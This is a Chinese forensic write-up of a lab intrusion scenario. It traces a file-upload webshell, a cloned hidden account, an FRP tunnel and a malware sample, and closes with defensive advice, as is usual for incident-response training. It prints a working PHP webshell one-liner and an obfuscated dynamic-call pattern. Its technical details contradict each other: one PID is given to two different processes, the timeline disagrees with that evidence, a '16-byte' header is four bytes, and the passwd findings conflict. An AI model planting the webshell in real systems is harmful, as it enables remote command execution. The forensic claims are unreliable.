1. 靶场环境与攻击场景还原
Web2靶机模拟了一个典型的互联网企业服务器被入侵场景。攻击者通过Web应用漏洞上传webshell获取初始权限,随后在系统中植入银狐病毒变种,创建隐藏克隆用户维持持久化访问,并利用FRP工具建立内网穿透通道。作为防守方,我们需要从系统日志、网络流量、文件异常等多个维度进行完整溯源。
这个靶机环境高度还原了2023年实际攻防演练中常见的攻击链路,涉及以下关键技术点:
- Apache访问日志中的攻击指纹识别
- 隐蔽用户账户的排查技巧
- FRP内网穿透流量的特征检测
- 病毒样本的取证分析方法
提示:实际操作前建议使用虚拟机快照功能,所有取证操作需在只读模式下进行,避免污染原始证据。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始攻击入口定位
2.1 Apache日志异常请求分析
通过分析/var/log/apache2/access.log发现关键攻击痕迹:
bash复制192.168.1.100 - - [15/Mar/2023:14:22:18 +0800] "POST /upload.php HTTP/1.1" 200 572 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
192.168.1.100 - - [15/Mar/2023:14:22:21 +0800] "GET /images/shell.php?cmd=whoami HTTP/1.1" 200 125 "-" "Mozilla/5.0"
攻击者分两个阶段完成入侵:
- 通过upload.php文件上传漏洞写入webshell(shell.php)
- 执行whoami命令确认当前权限为www-data
日志分析技巧:
- 重点关注POST请求返回200状态码的上传行为
- 异常User-Agent(如包含"sqlmap"等工具特征)
- 短时间内相同IP的密集请求
2.2 Webshell特征提取
在/var/www/html/images/目录下发现可疑文件shell.php:
php复制<?php system($_GET['cmd']);?>
这是典型的无加密webshell,通过黑名单检测即可发现。实际案例中更常见的是经过混淆的变种:
- 使用base64编码命令
- 动态函数调用(如$func=$_POST['a'];$func($_POST['b']);)
- 伪装成图片文件(需检查文件头)
3. 后门账户排查与取证
3.1 隐藏克隆用户检测
使用常规命令cat /etc/passwd未发现异常,但通过以下方法找到隐藏账户:
bash复制# 检查UID重复的用户
awk -F: '{print $3}' /etc/passwd | sort -n | uniq -d
1001
# 查找UID为1001的所有用户
grep ':1001:' /etc/passwd
attacker:x:1001:1001::/home/attacker:/bin/bash
mysql:x:1001:1001::/home/mysql:/bin/bash
攻击者克隆了mysql账户(原UID 1001),创建了attacker用户。这种手法会使得两个用户共享相同UID,常规管理命令只会显示其中一个。
3.2 登录日志分析
通过last命令发现异常登录记录:
bash复制last -aiwx | grep -v "system boot"
attacker pts/0 192.168.1.100 Tue Mar 15 14:25 - 14:30 (00:05)
关键取证点:
- /var/log/auth.log 中的SSH登录记录
- ~/.bash_history 中的命令历史
- /var/log/wtmp 和 /var/log/btmp 的登录失败记录
4. 内网穿透流量分析
4.1 FRP服务端进程发现
通过ps aux发现可疑进程:
bash复制/usr/bin/frps -c /etc/frp/frps.ini
配置文件路径:
ini复制[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = Admin@123
4.2 网络连接检查
netstat -antp显示异常连接:
bash复制tcp6 0 0 :::7000 :::* LISTEN 1584/frps
tcp6 0 0 :::7500 :::* LISTEN 1584/frps
特征分析:
- 7000端口为FRP默认服务端端口
- 7500端口为FRP控制面板
- 存在外部IP的持续TCP连接
4.3 流量特征识别
通过tcpdump抓包分析FRP流量特征:
bash复制tcpdump -i eth0 port 7000 -w frp.pcap
典型特征包括:
- 固定16字节的魔数头(0x12345678)
- 心跳包间隔30秒
- 加密的ProxyPayload数据
5. 恶意样本取证分析
5.1 银狐病毒样本提取
在/tmp目录发现可疑elf文件:
bash复制file .cache_system
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked
病毒行为特征:
- 修改iptables规则放行C2通信
- 注入合法进程(如sshd)实现进程隐藏
- 下载挖矿模块消耗主机资源
5.2 内存取证技巧
使用volatility分析内存镜像:
bash复制vol.py -f memory.dump linux_pslist | grep -E 'cache|frp'
0xffff88001fabc000 cache_system 1584 1
关键检查点:
- 隐藏进程列表
- 网络连接与socket信息
- 加载的内核模块
6. 完整攻击链路还原
根据以上取证结果,重建攻击时间线:
- 14:22:18 - 通过upload.php上传webshell
- 14:22:21 - 执行whoami确认权限
- 14:23:05 - 利用SUDO漏洞提权到root
- 14:25:33 - 创建隐藏克隆用户attacker
- 14:28:41 - 安装并启动FRP服务
- 14:30:15 - 植入银狐病毒样本
防御建议:
- 文件上传目录禁用执行权限
- 定期审计/etc/passwd的UID重复情况
- 监控异常端口开放行为
- 部署HIDS检测进程注入行为
排查过程中发现三个关键误判点需要特别注意:
- 正常备份脚本产生的base64编码命令被误判为webshell
- 开发人员的测试端口被误判为后门
- 计划任务中的合法下载请求被误判为C2通信
在实际应急响应中,每个取证结论都需要至少两个独立证据交叉验证。比如发现可疑进程后,需要同时检查:
- 进程启动参数
- 文件磁盘特征
- 网络连接行为
- 父进程调用链
